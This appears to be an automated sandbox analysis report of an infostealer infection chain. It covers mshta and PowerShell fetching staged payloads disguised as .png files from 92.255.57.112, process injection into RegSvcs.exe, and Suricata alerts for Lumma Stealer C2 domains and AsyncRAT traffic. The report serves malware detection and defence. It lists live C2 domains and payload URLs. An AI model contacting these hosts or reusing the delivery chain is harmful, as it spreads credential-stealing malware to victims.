Source:	Binary string: System.Core.pdb source: powershell.exe, 00000004.00000002.58300790959.0000015E90C18000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF79C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbwA source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbs source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dows\System.Core.pdb source: powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbe source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbOlC source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \SharpHide-master\SharpHide\obj\Debug\SharpHide.pdb source: powershell.exe, 00000004.00000002.58302816703.0000015E92C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58302816703.0000015E92D73000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58296660265.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000004.00000002.58300790959.0000015E90C18000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbL source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 00D20C18h	11_2_00D209FA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov esi, edx	14_2_00408740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [ebx], cl	14_2_0042E002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [ebx], cl	14_2_0042E002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	14_2_004161DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+63115D0Dh]	14_2_004251E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	14_2_004082A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push eax	14_2_00440310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov eax, dword ptr [00448B08h]	14_2_004273A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+1Ch]	14_2_004273A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea eax, dword ptr [esp+50h]	14_2_004273A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx+eax]	14_2_00417451
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	14_2_00407400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	14_2_00407400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7E3E42A0h	14_2_0043C410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push esi	14_2_0043C410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0042D420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	14_2_0042B430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	14_2_0042E5C2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	14_2_004165EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	14_2_00415590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov edx, ecx	14_2_004095A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+48h]	14_2_0041F710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-000000DEh]	14_2_0041F710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 0EF2A4EDh	14_2_004427E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0042E7EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0042F799
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp word ptr [eax+ebx+02h], 0000h	14_2_00429871
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	14_2_0042A810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp eax	14_2_004288BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	14_2_00402940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0Eh]	14_2_0040A910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+32DBB3B0h]	14_2_00427A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push dword ptr [esp+28h]	14_2_00426A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx+05CAF138h]	14_2_0040BA29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	14_2_00438AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [ebx], cx	14_2_0041AA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [esi], cx	14_2_0041AA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push 00000000h	14_2_0040CB44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+2564CAB9h]	14_2_0043EB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov ecx, eax	14_2_00420B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	14_2_0041DC40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	14_2_00415C25
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then add ebp, edi	14_2_00408CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [edi], cx	14_2_00426D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edx], cl	14_2_0042DD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [esi+04h], eax	14_2_00415E42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov word ptr [eax], cx	14_2_00423E44
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	14_2_00413E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 53585096h	14_2_0040DE72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+79h]	14_2_00425E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi+63115D0Dh]	14_2_00425E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	14_2_0043EE10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_00408EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	14_2_0041DEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 13884179h	14_2_0040DFEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov byte ptr [edi], al	14_2_0042DFAF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2059189 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bloodyswif .lat) : 192.168.11.20:50147 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059203 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (miniatureyu .lat) : 192.168.11.20:62757 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059209 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shoefeatthe .lat) : 192.168.11.20:63616 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059211 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (washyceehsu .lat) : 192.168.11.20:49219 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059201 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leggelatez .lat) : 192.168.11.20:53799 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059199 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (kickykiduz .lat) : 192.168.11.20:50841 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 92.255.57.112:56001 -> 192.168.11.20:49774
Source: Network traffic	Suricata IDS: 2059207 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (savorraiykj .lat) : 192.168.11.20:59050 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059191 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (finickypwk .lat) : 192.168.11.20:50505 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2059221 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curtainykeo .lat) : 192.168.11.20:64236 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.11.20:49773 -> 23.47.27.74:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: savorraiykj.lat
Source: Malware configuration extractor	URLs: kickykiduz.lat
Source: Malware configuration extractor	URLs: miniatureyu.lat
Source: Malware configuration extractor	URLs: finickypwk.lat
Source: Malware configuration extractor	URLs: washyceehsu.lat
Source: Malware configuration extractor	URLs: curtainykeo.lat
Source: Malware configuration extractor	URLs: leggelatez.lat
Source: Malware configuration extractor	URLs: shoefeatthe.lat
Source: Malware configuration extractor	URLs: bloodyswif.lat

Source: global traffic

TCP traffic: 192.168.11.20:49774 -> 92.255.57.112:56001

Source: global traffic	HTTP traffic detected: GET /1/1.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1/2.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1/3.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 23.47.27.74 23.47.27.74

Source: Joe Sandbox View	ASN Name: TELSPRU TELSPRU
Source: Joe Sandbox View	ASN Name: TELSPRU TELSPRU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49773 -> 23.47.27.74:443

Source: global traffic	HTTP traffic detected: GET /recaptcha-verify.html HTTP/1.1Accept: /Accept-Language: en-US,en-GB;q=0.7,en;q=0.3UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: view-reserve.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.57.112

Source: global traffic	HTTP traffic detected: GET /recaptcha-verify.html HTTP/1.1Accept: /Accept-Language: en-US,en-GB;q=0.7,en;q=0.3UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: view-reserve.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /1/1.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1/2.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1/3.png HTTP/1.1Host: 92.255.57.112Connection: Keep-Alive

Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://*.discover equals www.youtube.com (Youtube)
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C5914350094a33e2d53260db908a94a71; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=d2b040e0738eb66764a685b0; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25929Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 15 Jan 2025 09:18:42 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: view-reserve.com
Source: global traffic	DNS traffic detected: DNS query: curtainykeo.lat
Source: global traffic	DNS traffic detected: DNS query: bloodyswif.lat
Source: global traffic	DNS traffic detected: DNS query: washyceehsu.lat
Source: global traffic	DNS traffic detected: DNS query: leggelatez.lat
Source: global traffic	DNS traffic detected: DNS query: miniatureyu.lat
Source: global traffic	DNS traffic detected: DNS query: kickykiduz.lat
Source: global traffic	DNS traffic detected: DNS query: savorraiykj.lat
Source: global traffic	DNS traffic detected: DNS query: shoefeatthe.lat
Source: global traffic	DNS traffic detected: DNS query: finickypwk.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: RegSvcs.exe, 0000000E.00000002.58328295441.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92D73000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/1.png
Source: powershell.exe, 00000004.00000002.58302816703.0000015E92ADA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/1.pngXzi
Source: mshta.exe, 00000003.00000003.58288335780.00000250DC785000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58289154956.00000250DC789000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58288981238.00000250DC787000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.58288807681.00000250DC786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/1.pnghttp://92.255.57.112/1/2.png$TC=$TC.replace(
Source: powershell.exe, 00000006.00000002.58310832394.0000025B982BD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58299585071.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58297432343.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000B.00000002.58296660265.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/2.png
Source: powershell.exe, 00000006.00000002.58310832394.0000025B97CEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/2.pngXzi
Source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/2.pngin
Source: powershell.exe, 00000008.00000002.58451427929.00000199FD660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/3.png
Source: powershell.exe, 00000008.00000002.58308550972.000001998022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.112/1/3.pngXzi
Source: RegSvcs.exe, 0000000E.00000002.58328591615.0000000000AB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodo=
